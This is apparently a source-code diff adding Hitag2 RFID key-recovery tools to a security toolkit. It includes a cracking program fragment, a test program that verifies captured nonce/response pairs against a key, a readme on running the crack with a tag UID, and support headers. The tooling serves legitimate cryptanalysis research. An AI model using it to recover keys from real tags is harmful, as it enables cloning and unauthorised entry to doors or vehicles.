rev32(hexreversetoulong(buf+2)); + TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1+2)); + } else { + TnRaR[numnrar].nR = rev32(hexreversetoulong(buf)); + TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1)); + } + numnrar++; + } + + // close file + fclose(fp); + fp = NULL; + + printf("Loaded %d NrAr pairs\n", numnrar); + + // create table of thread data + tdata = (struct threaddata *)malloc(sizeof(struct threaddata) * NUM_THREADS); + if (!tdata) { + printf("cannot malloc threaddata\n"); + exit(1); + } + + for (i=0; i +#include + + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + + + +int main(int argc, char *argv[]) +{ + Hitag_State hstate; + FILE *fp; + char *line = NULL; + size_t linelen = 0; + long len = 0; + char *nr = NULL; + char *ar = NULL; + uint32_t arval; + uint32_t ks; + char *key; + char *uid; + + if (argc < 4) { + printf("ht2test nRaRfile KEY UID\n"); + exit(1); + } + + fp = fopen(argv[1], "r"); + if (!fp) { + printf("cannot open file\n"); + exit(1); + } + + if (!strncmp(argv[2], "0x", 2)) { + key = argv[2] + 2; + } else { + key = argv[2]; + } + + if (!strncmp(argv[3], "0x", 2)) { + uid = argv[3] + 2; + } else { + uid = argv[3]; + } + + while ((len = getline(&line, &linelen, fp)) > 0) { + if (len > 16) { + ar = strchr(line, ' '); + *ar = 0x00; + ar++; + ar[strlen(ar)-1] = 0x00; + if (!strncmp(line, "0x", 2)) { + nr = line + 2; + } else { + nr = line; + } + hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nr))); + + arval = strtol(ar, NULL, 16); + ks = hitag2_nstep(&hstate, 32); + + + if ((arval ^ ks) != 0xffffffff) { + printf("FAIL! nR = %s, aR = %s\n", line, ar); + } else { + printf("SUCCESS! nR = %s, aR = %s\n", line, ar); + } + } + } + + fclose(fp); + + return 0; +} + diff --git a/tools/hitag2crack/crack3/readme.md b/tools/hitag2crack/crack3/readme.md new file mode 100644 index 000000000..4d35ad7e0 --- /dev/null +++ b/tools/hitag2crack/crack3/readme.md @@ -0,0 +1,35 @@ +ht2crack3 + + + +Build +----- + +make clean +make + + +Run +--- + +You'll need a file consisting of 136 (or more) nR aR pairs. These are the +encrypted nonces and challenge response values. They should be in hex with +one pair per line, e.g.: +0x12345678 0x9abcdef0 + +./ht2crack3 UID NRARFILE + +UID is the UID of the tag that you used to gather the nR aR values. +NRARFILE is the file containing the nR aR values. + + +Tests +----- + +If you happen to know the key and want to check that all your nR aR values +are valid (for high-powered demonstrations only, really) then you can use +the ht2test program to check them. It's otherwise massively pointless and a +complete waste of space. + +./ht2test NRARFILE KEY UID + diff --git a/tools/hitag2crack/crack3/rfidler.h b/tools/hitag2crack/crack3/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack3/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack3/util.h b/tools/hitag2crack/crack3/util.h new file mode 100644 index 000000000..c2399c37c --- /dev/null +++ b/tools/hitag2crack/crack3/util.h @@ -0,0 +1,147 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); + diff --git a/tools/hitag2crack/crack3/utilpart.c b/tools/hitag2crack/crack3/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack3/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/crack4/.gitignore b/tools/hitag2crack/crack4/.gitignore new file mode 100644 index 000000000..f7ca5917b --- /dev/null +++ b/tools/hitag2crack/crack4/.gitignore @@ -0,0 +1,3 @@ +ht2crack4 + +ht2crack4.exe diff --git a/tools/hitag2crack/crack4/HardwareProfile.h b/tools/hitag2crack/crack4/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack4/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * 